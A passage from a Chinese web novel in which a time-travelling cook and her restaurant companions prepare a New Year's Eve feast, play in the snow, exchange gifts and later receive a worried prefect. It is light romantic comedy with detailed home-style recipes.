“好好好。”程六水总觉得哪里怪怪的,但还是不问了吧,毕竟大过年的刨根问底不是什么好习惯,说罢转身就要向前逛去。 只不过没能走成,身后一股阻力拉住了她,她回头一瞧竟是张清寒拉住了自己的手,一双眼还亮晶晶地看向自己。 “东家怎么了?”程六水懵懵道。 “我也准备了东西送给你。”张清寒微微低下头抿嘴道,不经意滑动的喉结暴露了他的紧张。 “你不是已经送我钱袋了吗?”程六水捧起那桃李钱袋道。 “不单单是钱袋。”一抹红晕爬上了张清寒冷白的脸上,他从怀里拿出了个雕花极为精致的檀木盒子,“你回去再看吧。”说罢,武林排名前三的张东家转头就跑了,那本家常食谱早就 被他当个宝贝疙瘩般揣进了自己的胸前。 程六水看着这木盒奇奇怪怪的,只得揣在袖侧,蹦蹦跳跳地去追赶前面正逛得开心的马陶陶与赵玉雨去了。 翌日便是大年三十了,程六水昨晚同小姐妹们逛到很晚,回来洗漱一番便在床上昏昏欲睡了起来,毕竟一年到头好不容易不用打工赚钱,怎么的也得睡觉睡到自然醒吧。 江陵的酒楼多是腊八就歇业了,待到正月十七才重新开张,而十全酒楼则更为勤勉敬业些,开到正月二十七才打烊关门。至于为何如此勤勉则是另有别的缘由了,大抵是这帮东家伙计没一个回家过大年的。 程六水自己不必多说,原身父母仍是踪迹未明,饶是皇城司使使尽在大乾的所有眼线,却还是查无所获,自然了留守的程六水只能留在酒楼过大年。而张清寒本就鲜少回六白山,出来这几年是一年都没回去过,今年心中更是添了牵挂之人哪里舍得留她孤孤零零自己一人在酒楼过年。 乔四方与赵玉雨本就是无父无母的孤儿,留在酒楼再合情合理不过了。但其余两人留下的理由就十分令人匪夷所思了,杜少仲与他的尚书父亲好不容易冰释前嫌,如今回去过年正是趁热打铁缓和父子关系的好时候,可惜事情出了点意外…… 杜少仲本来已经收拾包裹准备上路了,可还没出江陵他的包袱忽然掉到了地上,没走两步那腿就直打晃了,自己直接把自己绊倒了,幸亏他摔倒的地方离酒楼近,街坊邻居都识得他,好心地将他送了回来。 程六水如今也算是颇通医术了,这小脉一把就觉察出不对劲了,火走胆经水过肝经,整个一个气血倒行,幸亏这人是不会武功啊,不然现下怎么样都不好说了。 “杜二二,你最近都做什么了?”程六水皱眉道。 “我也没干什么啊,我白天在酒楼做饮子酿酒,晚上作画题词,和平时没什么两样啊。”杜少仲虚弱道,一脸可怜兮兮的模样。 “那你有吃什么异于平常的东西吗?”程六水追问道。 “我……”杜少仲仰着脑袋仔细回忆着,突然屋外传来一声大叫。 “呜呜呜!我不活了我要和他断绝兄妹关系!”马陶陶一双丹凤眼都快哭成了眯缝眼,红红的看着怪可爱的。 “我也不活了。”杜少仲死活想不起来自己吃过什么,生无可恋地瘫在床上。 “你俩怎么了?”闻声赶来的张清寒叹气道,一年前他身后是杀人不眨眼的皇城司,一年后他眼前是两个哭哭咧咧的大活人。 “我哥哥他,他又给我来了封信,说什么在北戎有事耽搁了,这个年就不回来了,这个大骗子!”马陶陶哭个不停抽抽噎噎道。 “对了!她哥哥!我知道了!”杜少仲惊从病中起,差点又从床上摔下来。 “你吃了她哥哥?”程六水挑眉撇嘴道。 “……那倒没有,我吃了她哥哥托商船寄过来的臭果子。”杜少仲舔了舔嘴唇道,似是还在回味。 “什么臭果子?”程六水眉毛都快皱成蜡笔小新道。 说到这臭果子,马陶陶不自觉也低下了头,她不是故意吃独食的,只不过是那果子闻着臭吃起来属实是香甜软糯,她本来就想吃一口结果是一口接一口,正巧碰到了刚刚酿好新酒的杜少仲,两人一起吃了起来,不知不觉便吃完了。 “所以你们两个吃了一个浑身长满刺闻起来臭臭的果子?那不就榴莲吗?”程六水扶额道。 “何为榴莲?”张清寒倒是来了兴趣问道。 “南洋诸岛盛产此水果,我曾经吃过确实不错,那我明白了杜二二昨夜酿好新酒便尝了几盏,再吃了榴莲可不得气血逆行嘛,这俩物本来就是相克的,我看就你这身子骨赶路怕是有点费劲了。”程六水摇了摇头道。 果不其然杜少仲三四天没起来床,只得给老父亲去信一封,留在酒楼过年待到开春再去归家探望。而马陶陶则是一边咒骂自己不靠谱的哥哥,一边看着任自己欺负的乔四方心情大好。 故而大年三十的酒楼依旧十分热闹,众人在那剪窗花放鞭炮,而程六水则在后厨忙碌着,本来赵玉雨还在一旁打下手,不知怎的这打下手的就变成了张清寒。 程六水倒是无所谓,今日过年她可要做些硬菜,硬掉他们一众人的大牙。她特意取出一条猪里脊来做锅包肉,这里脊要选精瘦肉红的才好,纹理清晰这猪定是头爱跑圈的猪。 故意横着里脊的纹理切成不薄不厚的肉片,轻轻拿擀面杖敲打着肉片,将这紧致的猪猪肉拍松,这样吃起来才是最为嫩滑的,接下来就是腌肉了,猪肉定是要去腥的,自然来点黄酒生姜胡椒粉最好,再加点盐巴调味一二。 将那腌制好的肉片裹上沾湿的土豆淀粉,再加上一小勺豆油,这样炸出来的锅包肉才会更为酥脆,软软的嫩肉在淀粉里裹满了一层又一层,就可以奔向油锅了。 这炸肉是极有讲究的,一般都是要炸两次的,第一次下锅炸熟炸透,第二次再复炸一遍就变得无比酥脆金黄了。往往做到这,正是程六水最为难的时候,刚炸好的肉既能用来做溜肉段,又能做锅包肉。 她拄着下巴,内心正在激烈挣扎着,溜肉段咸香下饭,锅包肉酸甜可口,真是各有千秋的硬菜啊。 然后她一低头就发现自己的炸肉盆里怎么貌似少了好几块肉啊,侧头一看这几个伙计一人手里一块肉,吃得这叫一个香啊。 “你怎么不看着点!”程六水故作佯怒地指责着给自己打下手的张清寒。 张清寒正在收拾鳜鱼,穿着个布围裙委屈巴巴道,“我正在刮鱼鳞,我下回肯定看住他们。” “行吧行吧。”程六水宽宏大量地决定原谅这个马虎的张东家,她最终还是坚持本心开始做起了锅包肉。 小碗里加上五六勺白糖,五六勺米醋,来点生抽盐巴,最后再滴上几滴香油。另起锅烧油,油温不必太热,就将这糖醋汁倒入锅中,不停搅拌慢慢糖醋汁就起了泡泡。 就在此时,程六水眼疾手快地将炸好的肉片,还有一众配菜什么葱丝姜丝胡萝卜丝倒入锅中翻炒,没几瞬这道名震东北的硬菜就出锅了。 程六水再一转头,好家伙那用来做松鼠鳜鱼的鳜鱼,不仅没了鱼鳞内脏也收拾妥帖,两片鱼肉整整齐齐地摆放在案台上,一看收拾的这人刀工就极好,将那鱼肉不深不浅地改刀成了牡丹花式。 “真是不错,你是不是昨天回去连夜看我给你的食谱了,从黑黢黢的烤馒头片到这手法这刀工,真是令人叹为观止啊。”程六水这人就有一个好处,只要她能夸那就是能给你夸上天啊。 “哪有哪有。”那张清寒直接成了翘嘴鱼,还不好意思地摆着手。 程六水这边抽离的倒是快,端起两片鱼肉和鱼头就放进了黄酒姜片葱段中,凡是大荤都得来这里过上一遭,才能去了腥气。 这次同炸锅包肉不同,炸这鱼另有讲究,首先得把这鱼上的黄酒擦净了,裹上许多干淀粉,裹得时候抖一抖,那开好刀的鱼肉甚是每一处都沾上了干淀粉,这样炸出来才能愈发酥脆。 程六水提溜着鱼尾,小心翼翼地用勺子将热油浇到鱼肉上,那开过刀的鱼肉便开始炸开,这还不算完呢,最后再将鱼皮朝上鱼肉朝下微微弯曲着将其滑进油锅,油锅里瞬间滋滋作响,约摸半炷香的功夫这鱼就炸好了。 此时前些时日熬的西红柿酱就派上了用场,酸甜的西红柿酱在热油中煸炒出最为清新解腻的味道,在加上些白糖白醋盐巴清水,再来勺淀粉勾芡,那料汁油亮浓稠,往炸好摆好造型的鳜鱼上一浇。每一颗饱满炸开的鱼肉都裹上了这酸甜可口的料汁,屋外诸人早已被激得频频张望了。 屋外此时可谓是大红灯笼高高挂,朱红窗花胡乱剪,大家自己手里的事也弄得七七八八了,闻了香味哪里能受得了啊,一股脑全都涌到了后厨。 “六水我能做什么!” “我也要打下手!” “我会做藕圆子。” 几个人众说纷纭地大献殷勤,将本计划与六水一同烹饪日久生情的张清寒挤到了最边边角角的位置,全然不顾这位东家脸上铁青的脸色。 而这其中最先察觉到张清寒对程六水情愫的赵玉雨杏眼一敛,故意装作没看见,没看见就是不知道。 “你们来得正好,我等下还要做四喜丸子,藕圆子,松仁玉米。”程六水开心地招呼大家过来。 力气大得很的乔四方被安排去了 剁馅,那肉是程六水挑的不肥不瘦正好,而杜少仲双手灵活已经拿起苞米咔嚓咔嚓搓了起来。 许是这人之前没搓过玉米,那叫一个起劲啊,本来就是六个人,顶多搓两根苞米就行了,这人偏生勤奋得很,一下子搓了四根。 而在他旁边的马陶陶更是拎了个大棍子开始棒打深秋收回来的向日葵了,那葵花上全是饱满大个儿的葵花籽,一个大棒下去一半葵花籽就下来。 赵玉雨是这几人里面最有做饭经验和天赋的,自然不遑多让地做起了藕圆子,取自江陵最为出名的粉藕,洗净去皮剁成藕茸,只听这厨房里哐哐菜刀的声音,不知道的还以为是赵玉雨剁负心汉呢。 剁完藕要赶紧挤干水分放入大盆中,大盆里加入姜末葱花白胡椒粉还有那调味的清酱盐巴,再加入刚才挤干净放在一旁的藕粉,几勺糯米粉也放进去,用手抓匀揉成一个个藕圆子。 赵玉雨手巧得很,那藕圆子揉得大小几乎是一模一样的,轻轻沾水便放入油锅里炸两遍,清香的粉藕混合这个菜籽油的香气,飘荡着整个后厨里。 贪吃的杜少仲一边坐在板凳上搓玉米,一边悄悄探头伸出一只贼手来偷吃,也不怕烫着自己。 街里鞭炮声四起,欢声笑语间酒楼一众人就在小小的后厨里坐着年夜饭,而程六水则也没闲着,她前世是北方人,北方人过年最不能缺的就是饺子,她让乔四方多剁了些肉馅,在里面放上水灵灵的细细碎碎的大白菜,一边搅馅一边加入葱花姜末盐巴香油。 张清寒在旁边弄着饺子皮,这饺子皮怎么做还真是他半夜学的,他生怕自己又成了当初那个什么菜也不会做的东家,在六水面前连个饺子皮都不会弄,实在太丢脸了。 “东家,你这手艺确实可以啊,这面呢活得正正好好,不软不硬你看捏一个饺子就能捏上,哎东家你怎么不包饺子啊?”程六水问道。 “……”张清寒想说自己光学会饺子皮怎么做了,至于包饺子貌似昨夜忘学了,那食谱里也没教这些啊,殊不知他昨夜翻得食谱中间有一页是粘上的…… 第43章 拔丝地瓜 天色渐暗,白日里明灿灿的阳光藏在厚重的云层中,悄悄支起后厨窗缝,便有冷飕飕的北风往里钻,打得那地上的炭盆都暗淡了几分。 马陶陶的脸被吹得生疼,却反常地并没有牢牢关严窗子,她睁圆了好看的丹凤眼,大声叫嚷道,“下雪了!” “什么?”众人从各自的忙活中抬起头来,程六水顾不得手上的面粉,蹦蹦跳跳地跑到了窗前,裹了裹自己的小红袄,探头看向窗外。 漫天的鹅毛大雪飘散开来,装点着临街牌匾上的大红灯笼,莹黄的烛光透过灯笼照在纯白的雪花上,青石板的地上不知何时早已积了厚厚的一层雪。 家家户户早就回了自家院里守岁,天上白花花的一片,地上亦是白花花的一片,唯有那燃尽的爆竹散落了一地的红,红得乍眼喜庆。 一伙形迹可疑的酒楼伙计们推开了院门,在这白花花的雪地上歪七扭八的走着,一个个冻得嘚嘚瑟瑟还不罢休,非要出来凑凑这瑞雪的热闹。 “哎呀这地好滑!”马陶陶蓄了厚厚一层棉的鞋子暖和是暖和,可江陵并不多雪,故而那鞋底半点都不防滑,白雪皑皑下是那薄薄的冰层,那真叫脚打粗溜滑啊。 就在她正张牙舞爪,下一刻就要摔得人仰马翻之际,一只纤细却极为有力的手拽住了她扑扇的手臂,牢牢地救她于水火之中。 马陶陶眼睫都被雪花糊住了,心有余悸地蹲在地上拍了拍自己的胸脯,她虽久居京中,京中位于北方冬季多风雪,可她是大门不出二门不迈的皇商家小姐,凡是所去之地,哪里都是扫净了雪除去了冰的,如此新奇的体验还真是前所未有。 她抬起头来,看向一旁气定神闲脸蛋冻得通红的程六水道,“好险好险,要不你救我,我差点就摔地上了。” “嘿嘿你没摔地上,倒是有人摔了个狗吃屎。”程六水咧着嘴笑地前仰后合,那嗷嗷的北风顺着就往她嘴里灌啊。 朝着程六水的目光看去,酒楼三位人高马大的青壮年男子们,仿若碰碰车般你拉我一下,我拽你一下,几番拉扯竟还难舍难分,人人都没安好心思,见了雪就发了疯忘了情了,什么大官翰林的早就抛到九霄云外去了,恨不得在雪里狂奔,最好再把自家兄弟扔雪堆里。 “他们是不是疯了?”赵玉雨小碎步,宛如一只北极矮个燕尾鹅一样,不紧不慢地挪到了马陶陶身旁道。 程六水故作高深地摸起下巴道,“不知道哎,不过我不介意让他们更疯一点。”说罢,只见她高举了一个大大的雪球,那雪球定是精心捏压过的,那叫一个瓷实,程六水此刻仿佛成为了一名铅球运动员,小红袄下矫健的身姿尽显,鹅毛大雪挡住了她明亮的视野,不远处那三人都快扭打起来了,摔得夹袄上都是雪还乐此不疲。 一个比铁球还大的雪球从天而降,这三个男人来不及四散开来,就被命中了,最惨的莫过于身手最为笨拙的杜少仲,“啊!谋财害命啊!” 杜少仲哀嚎着捂住了自己的屁股,可怜兮兮地看向雪天一色里最为显眼的那抹红色,又望向为了躲避雪球早已摔成狗吃屎的乔兄弟,“哈哈哈哈乔大壮,你怎么还啃地呢?” 乔四方摔得懵懵的,来不及思考就开始反击,手里的雪球瞬间砸向了杜少仲,结果杜少仲这回学乖了,身姿轻盈十分灵活地一躲,雪球就以每秒九米八的速度扑到了正给自己身上掸雪的张清寒身上。 顿时几个人乱做一团,就连走都走不明白的马陶陶都未能幸免,她是一边跑一边摔啊,最后重重砸在了乔四方身上,“叫你砸我?你这小家雀胆子还挺肥,还敢砸我?” “啊啊啊啊救命啊,我是小家雀,你是老家雀?”乔四方一边在雪地里趴着逃命般鬼哭狼嚎,一边还真诚地发问道,显然换来的是更多的雪球。 而程六水作为这场打雪仗的始作俑者,很快就被在雪中都能如履平地的张东家捉住了。 张清寒极白的脸上泛着红晕道,“你跑得还挺快?” “哪有东家跑得快啊,我在您面前那真是插翅也难逃啊。”程六水又开始咧着嘴乐得十分真诚。 这一笑直接晃到了张清寒本就意志不坚定的内心,他温柔地看向程六水,哪里还忍心将雪球扔进这小妮子的脖领子里啊,想必连雪球都扔了。 “那我就不客气了!哈哈哈哈哈!”程六水一个灵活地转身,两个硕大的雪球就砸进了张清寒的夹袄里,整条街都是程六水诱敌深入奸计得逞的狡猾笑声。 “别打我别打我,我认输。”杜少仲半点都不讲体面了,一屁股坐在台阶上,看着正朝他走来的赵玉雨一个劲儿求饶道。 赵玉雨扑哧一下笑了出来,亮亮了自己空空如也的双手道,“放心吧,不打你。”她也坐在了台阶上,抱着膝盖支着下巴望着遥远的天,近处的人,这样鲜活热闹的生活才是真真的人间烟火吧。 她又转过头看向两只手揣进一只袖子里的杜少仲,思绪不禁飘向数年前,那时她便见过杜少仲,亭台楼阁间遥遥一见,当真是翩翩浊世佳公子,但杜少仲却未曾见过她,她的身份是出不了内院的。 再见之时,便是在这个名不经传的十全酒楼中,佳公子成了酿酒师傅,没了仙气下了凡尘,脸上的笑倒是更真了。 正当赵玉雨欲收回目光时,耳边却传来了杜少仲的声音,“我们是不是曾经见过?” 杜少仲神情轻松,仿佛只是随意一问,可却宛如一声惊雷砸在了赵玉雨的心中,顿时无数火焰灼烧着她。 “我不记得了。”赵玉雨杏眼微眯,手指不自觉地摩挲着衣摆道。 杜少仲若有所思,当真是在回忆着到底是什么时候见过赵玉 雨呢?难不成真是自己这脑袋瓜被雪球打傻了。 然后他就被赵玉雨手中脸盆那么大的一个雪球砸中了,“啊啊啊啊你不说不打我的吗?” “漂亮女人的话不能信,你不会不知道吧?”赵玉雨拍了拍手,利落地转身离去。 杜少仲哪还有心思想别的,待到他从雪球里抖落出来,只见大家都热热闹闹地跑去吃年夜饭了。 “等等我啊!你们这群没良心的家伙。”杜少仲一瘸一拐地捂着屁股走进了酒楼。 白花花一片的地面上,深浅不一的脚印重叠在一起,屋内热乎乎的炭盆香喷喷的饭菜,又是一年过去了。 八仙桌上盘盘碟碟都快放不下了,酸甜可口的松鼠鳜鱼,金黄酥脆的锅包肉,还有那水灵灵的白菜馅饺子,大家换了身衣服,暖暖活活地坐在了一起,个个端着筷子就是吃啊。 “天啊,这锅包肉当真是人间美味啊,一口下去我都要活过来了。”杜少仲眯着眼享受地吃着。 “是啊,吃得腰不酸腿不瘸连屁股都不疼了呢。”程六水开始王婆卖瓜自卖自夸道,她夹起一只皮薄馅大的白菜饺子,蘸上些陈醋辣子,水灵灵的白菜混合着香得令人吞舌头的肉馅,被醋一下子就激发出了更为鲜美的味道,在嘴里合奏起了一曲至高无上的水饺踢踏曲,每一步都踩在了程六水雀跃的味蕾上。 而张清寒则十分专注地看着面前垒成小山高的拔丝地瓜,仔细研究是吃哪一块才好呢?哪块丝拔得最长呢?只见平常总是冷着一张脸的张东家从坐着变成了半蹲着,半蹲着变成了站着,最后恨不得直接踩凳子上。那拔丝地瓜的糖丝缠缠绵绵地不肯罢休,甚至能拔出四五尺去。 众人本来还在自顾自地吃着,随着张东家的动作,纷纷目不转睛放下了筷子,他们本是没见过这道菜的,只以为是地瓜裹了层冰糖,哪里想到竟还有这等奇观。 程六水本还在一个劲地埋头苦吃,只听周遭静悄悄的,才抬起头来,好家伙这张东家这是要戳破房梁啊。 “东家,你要飞吗?”程六水端着碗清水走到了凳子上的张清寒身旁。 “我先前吃过这拔丝地瓜,那是山里的婆婆做的,做的香甜软糯,丝拔得也长,能有一两尺,那时我们师兄弟们还攀比谁拔得长呢。今日见你做这道菜,才想来试试拔丝,不曾想竟能拔这么长。”张清寒站得极高低下头道。 程六水手里那碗清水差点没端稳,她怎么有种不太好的预感呢? 然后除了她以外的所有人,都开始小心翼翼地夹着拔丝地瓜,誓要比出高低看看到底是谁拔的丝最长。 程六水都想闭上眼睛,当作这一切不曾发生过,她到底为什么要做这道小孩菜啊?人家小孩起码还能正儿八经地吃地瓜,而她的这群朋友们连吃地瓜都不会,光在那比赛了。 这场比赛最终以张清寒拔得最长获胜,六尺七,随后每个人夹着的地瓜都被程六水强行放进清水碗里。 “玩!就知道玩!都给我吃,谁都不许浪费粮食!”程六水恶狠狠地按着众人道。 第44章 二踢脚 炭盆噼里啪啦地响着,程六水吃饱喝足正窝在圈椅里嗑瓜子,越嗑越昏昏欲睡,方才玩得太疯太野,再被这热炭一烘,小脑袋瓜都要挺不住了,硬生生被瓜子皮戳中了下巴怪疼的。 她这才迷迷糊糊睁开眼睛,一旁的马陶陶靠在她的肩膀上早已睡得小脸红扑扑的,迷蒙中远处有个人影轻柔地将厚厚的毯子盖在了自己和陶陶,“玉雨困困。” “你俩都睡了快一个时辰了,马上就要子时了。”赵玉雨温婉一笑,手指拨开了程六水脸上散落的发丝,递了杯水给她。 “子时了?”马陶陶听了这话如同条件反射般迅速清醒了过来。 “是啊。”赵玉雨看着窗外,真好新的一年了,辞旧迎新往后皆是这样平静悠然的日子了。 “陶陶快来放鞭炮!”哒哒从院子里跑来的乔四方,兴高采烈地说道,隆冬严寒也挡不住他的火热。 “鞭炮?是二踢脚吗?”马陶陶仰着脑袋问道。 “当然了。”话音刚落,只见这两人宛若炮弹“嗖”的一下就蹿了出去,哪里还有方才的安静模样。 不一会儿,屋外就传来了轰隆隆的震天响,程六水捂住自己的小耳朵藏在毛茸茸的毯子下面不出来,里面暖和和的,甭提有多舒服了,恨不得就此睡过去呢。 热闹繁华的街道空无一人,沿路却到处都是彩带飘飘,远处鞭炮齐鸣锣鼓喧天的声音渐渐传来,程六水踩在一条望不到头的路上,直觉告诉她只要走下去,前方总有她想要的东西。 天青色的石路上每行进一步,便绽放出繁盛夺目的花儿,程六水却并不在意,她只是走啊走,越走越轻盈,直到那漫天的金光照耀在她的脸上,她才恍然大悟抬起了头。 天啊,这原来是一座金山啊,数不清的金砖垒成了堡垒的模样,在阳光下熠熠生辉,程六水屏住呼吸,手指小心翼翼地戳了戳金砖,不可置信地怔愣在原地。 她要有小钱钱了吗!她的钱袋子终于不再是破破烂烂的了吗!那她是不是可以在金山上打滚睡觉了。 显而易见的傻笑出现在了程六水的脸上,“嘿嘿嘿我的我的都是我的。” 张清寒站在程六水身旁,看着她窝在毯子里闭着眼睛傻乎乎地乐,往日里冷若冰霜的面容也不仅讶然弯起嘴角。 “好好好都是你的。”张清寒戳了戳程六水鼓起来的脸蛋道。 “嗯?”程六水正在金山上翻山越岭呢,猛地被人打断哼哼唧唧地不开心,她抱住一块金砖牢牢地不撒手,可惜一股可恶的漩涡毫不留情地将她与金山分开。 “啊我的小金子!”程六水高声呼叫的声音渐行渐远,她眼角都要留下晶莹的泪水了,在痛恨睁开了眼睛,只见张清寒长身而立,不知何时他又换了身湛蓝夹袄,领边袖口是出得极好的兔绒,毛茸茸的一圈衬得他倒是有些可爱,可他那可恶的手指正在戳弄自己的脸,眼见自己醒来才做贼心虚般的放下。 程六水愤愤不平地想着,这人就算使美男计也没用,那可是金山啊,她这辈子除了在电视里就没见过金山,还没热乎就没了。 “你还我金山!”程六水瞪着双圆眼睛,凶狠地说道。 与此同时,张清寒也开口了,他从怀里取出一个精致非常的檀木盒子,打眼一瞧便见那木盒上雕着花好月圆的图样,“这个送你。” 程六水被这突然的礼物梗住了脖子,好似一只正张牙舞爪支出牙齿的小猫,忽然被喂了一口鸡肉的震惊。 “你不是已经送过我新年礼了吗?”程六水从发髻间取下了一支粉白玉簪,桃之夭夭灼灼其华,宛若从春日枝头攀折而来,巧夺天工栩栩如生。 程六水一见便喜欢得不行,立时跑去向张清寒道谢,嘴里的吉祥话一个劲地往外倒,这不大年三十也要簪在发髻上。 “我前两日偶然见了这臂钏,想着过了年天气愈发暖了,换了轻薄衣衫正好带,就想着送给你了。”张清寒不自然地挑眉道,说罢迅速又低下了头,不敢看程六水脸上的神情,偏偏还藏不住心思,不敢看抬头还要看。 “只给我吗?”程六水心生疑窦,却还是下意识地接过檀木盒子打开,我的天她的眼睛都快被晃晕了,这臂钏怎么金光闪闪,七色宝石镶嵌在其中交相辉映,更别提匠人的精心雕琢了。 这样的臂钏,程六水只在博物馆里看到过,不是哪个妃子就是哪位公主的首饰。 张清寒欲言又止,还未来得及说话,就见程六水脸上非但不见半点喜色,甚至还有一丝凝重道,“东家,你去盗墓了?” “???没有啊。”张清寒被问得满脸懵,一张俊脸瞠目结舌。 “那你不会是对我图谋不轨吧?”程六水缩紧了自己的小红袄,警惕地看向张清寒,无事献殷勤非奸即盗,梦里突如其来的金山只有喜悦,而现实生活中从天而降的金山,往往是有代价的。 “我没有!”张清寒赶忙出言道,焦急地如热锅上的蚂蚁,都不知该如何同程六水解释。 他不会解释,但程六水是个见过猪跑的家伙,于是在大年三十的晚上,张清寒不仅将当今圣上派人千里迢迢送来的赏赐转手送人了,并且还立了字据,那纸上明晃晃写着“自愿赠与”,附赠一个红红的手印。 “嘿嘿东家你真是个好人。”程六水小心翼翼将字据揣到胸前,嘴上说着好话,实则眼睛就没离开过这臂钏,宝贝得很呢。 “我又是好人了?”张清寒虽早就被程六水磨得没了脾气,现下心中也不得不有了一股莫名的冲动,真想敲开这没良心的女人脑袋看看, 到底都装了些什么稀奇古怪的玩意。 “当然了你是天底下最大的好人。”程六水心不在焉答道。 “那好人请你去看烟花去不去?”张清寒见程六水这副小财迷样子,不禁好笑地摇头。 “去!”程六水收好了臂钏,乖乖地等待金主东家的指示。 临近子时,领里邻居都走了出来,孩童们戴着虎头帽提着各式花灯,男人们跑去点高高挂在屋檐上的鞭炮,一个个胆子瞧着大得很,实则点上了火,跑得那是比兔子都快啊。 河对岸放起了漫天烟花,金灿灿好看得很,正如程六水怀里的臂钏般闪耀,她目不转睛地望着天际转瞬即逝却又源源不断的烟火。 “东家谢谢你。”程六水没有转头看张清寒,只是轻声道。 震耳欲聋的鞭炮声中掺杂着这片刻的柔和,张清寒生怕自己听错了,只得大声问道,“你说什么?” 烟火映在程六水莹白的鹅蛋脸上,褪去了没心没肺与狡黠调皮,从未有过的成熟在此刻显现了,“我说,谢谢你让我很安心。” 声音依旧不大,却一字一句地落在了张清寒耳中,张清寒愣了两秒才开口道,“安心?” “安心,有你在我好像不再害怕了。”程六水甜甜地弯起嘴角道,她从来都害怕许多事,没有地方住没有饭吃,不敢肆意地活着,讨喜的笑容背后是时刻的惴惴不安。 但在这里,在这个人面前,她没有了害怕,她只是单纯地活成了自己,想夸他就把他夸到天上,看他不顺眼就踹他两脚。 程六水不知道未来会发生什么,那些都太遥远了,她是个没什么长远目光的人,她只知道过去的许多日子,谢谢有这样一个人出现在自己的生活中,她的背后不再是空无一人了。 张清寒注视着眼前程六水亮晶晶的眼睛道,“我会一直让你安心的。” 程六水只是继续笑着,没有开口说话,看着不远处的马陶陶点起了二踢脚,她赶忙捂住了两个小耳朵,果然没几瞬震天响的炮声就传遍了几条街。 而杜少仲和赵玉雨则追着马陶陶满街跑,谁让这个坏透了陶陶故意拿二踢脚吓他们呢,乔四方是拦也拦不住,只能充当着人肉挡箭牌。 “东家,新的一年工钱涨不涨啊!”程六水此刻仿佛又恢复成了往前的模样,笑嘻嘻地叫嚣着。 “涨当然涨!”张清寒话音不大,可转瞬间他就被一圈伙计扑倒,还没等他反应就径直被抛上了天。 “啊!你们放我下来!”张清寒赶紧道。 “涨工钱!涨工钱!”伙计们的欢声笑语间,张清寒又被抛了好几个来回,抛得他是彻底没了脾气。 大年三十就这般在吵吵闹闹中度过,今年是十全酒楼伙计们一同过的第一个年,每个人都睡在暖和的被窝里,日上三竿都舍不得起来。 大年初五,杜少仲收拾行囊出发去京城向留守老人杜尚书赔罪,临别时他激动异常,话里话外都是要去做一段时间全职儿子的炫耀,随后就一瘸一拐地上路了,腿上的淤青分别来自于找不到哥哥的兄控马陶陶,无父无母的乔四方以及父母丢了的程六水。 第45章 油焖春笋 阳春三月,冒了新芽的绿柳飘荡在空中,荡得人心里痒痒的,酒楼的生意一如既往地好,但这好中总是有些许波折的,有的时候这波折就连张清寒都招架不住。 方知府年后从京中述职回来,就愁眉不展得很,成天在府衙里转悠来转悠去,时不时还焦躁不安,差点师爷脸上的胡子给揪下来。 他那人好心善的夫人本来是好心安慰的,可惜这人愈安慰愈变本加厉,方夫人直接拿着棒槌给方知府打得五迷三道,差点就倒地不起了,还别说这么一打倒是好了不老少。 春来夜里仍是凉的,可方知府等不了那么多了,连轿子都不坐了,骑了匹快马就朝着十全酒楼而去,许是跑得太急,柳絮糊了一脸一个劲地打喷嚏。 酒楼此时早已打了烊,一伙人正在享用着迟来的晚餐,今日菜色真可谓是万绿丛中还是绿啊,香椿炒鸡蛋,油焖春笋,凉拌马兰头,最后再来上一道荠菜豆腐汤。 方知府越过山穿过河,一下子便推开了酒楼的大门,只见张清寒系着围裙正在忙前忙后地端菜,他那白皙的脸上不知何时竟还蹭得灰扑扑的。 “张老弟啊,你得救救老哥我啊!”方知府无视着眼前堪称诡异的一幕,壮着胆子说道。 “方大人?吃了吗?”张清寒倒是波澜不惊道,他又盛了碗米饭递给了方知府。 方知府只能按捺住心中的七上八下,老老实实地也坐到了饭桌上,低头一瞧好家伙这碗里的饭怎么是糊得都有点黑黢黢了。 “那个……”方知府决定还是先保住自己的肚子,再保住自己的命比较好,小声开口道。 此时伙计们也饥肠辘辘地从各处赶来,马陶陶见了方知府笑盈盈地行了一礼,而乔四方傻呵呵地笑着,唯有赵玉雨眼尖道,“大人我给您换一碗吧。” 结果一看盆里就没有不糊的饭,最好的也是糊成了锅巴底子。 张清寒难得地笑了笑,颇为不好意思道,“今天又做糊了。” 众人倒是习以为常,省略了讶然地面面相觑,个个瞅着眼前空空如也的饭碗,无声地抗议着。 方知府瞪大了双眼,不可置信地看着这一圈老老实实坐着的伙计,以及宛如被奴役的张清寒道,“张老弟,什么叫又?” “又,就是已经好几天都做糊饭了。”程六水从后厨不紧不慢地赶来,端着两盘刚热好的白面馒头道。 紧接着又道,“方大人莫要多想,酒楼本就事多,后厨又只有我一人,常常是忙不过来的,东家人是顶顶好的,过完年就想着多学些厨艺,也好搭把手。” “啊!”方知府这才放下心来,可又笑不出来,这离过年都过去一个多月了,厨艺就学了个这?未免也太说不过去了,这还是他认识的冷面煞星张清寒吗? “大人莫要客气,今日这些春菜都是四方一大早去山上采得,就是吃个新鲜劲。”程六水笑道 方知府悄咪咪地看了看张清寒的眼色,只见那张清寒压根就没看自己,更没功夫问自己的来意,整个人整颗心全砸在了说话的小厨娘身上了。 可偏偏奇了,这小厨娘好似是山一重水一重,重重屏障竖在身前,半点也没感受到那身后说不尽的情意绵绵。 方知府咽下心中的惊讶道,“不客气不客气,是我叨扰你们了。”随即笑着将那碗里的糊饭倒了回去,挑了个又大又圆的白面馒头,毫不客气地就咬了一口,好吃! 再一低头,只见那桌面上的筷子们“嗖嗖”地飞起,比他见过的锦衣卫飞得还快,在那些个绿叶菜上嘁哩喀喳地飞舞着。 方知府这才赶紧下筷,一筷子就抢到了一块大大的鸡蛋,这鸡蛋入口鲜嫩至极,炒得火候正正好好,多一分老了少一分没熟,最关键的是这鸡蛋里不知加了什么野菜,竟有种别样的清香,乍一吃微微涩口,再一抿便是满口的回甘,他活了三十余年都没尝过这等滋味。 咸淡也调得恰到好处,没放什么清酱豆酱,只是单纯的盐巴便足矣了。 他是吃了一口还想吃第二口,筷子又是夹出去,眼睛却从这盘鸡蛋越了过去,一旁的油焖春笋正在朝他招手。 这道菜方知府是年年都吃的,人吃五谷杂粮三餐四季,有人爱秋来桂花蜜,有人爱夏间一汪水的小青菜,而他就好吃笋,尤其是这春笋,雨后在林子里冒出了头,层层拨开露出里面最为柔软的笋心,用油那么一焖啊 ,是怎么吃也吃不够的。 许是他这眼神过于饥饿,张清寒摇了摇头,好心地给方知府夹上了一筷子道,“方大人,如今歇匀了气,不如说说宵禁时分前来所为何事啊?” 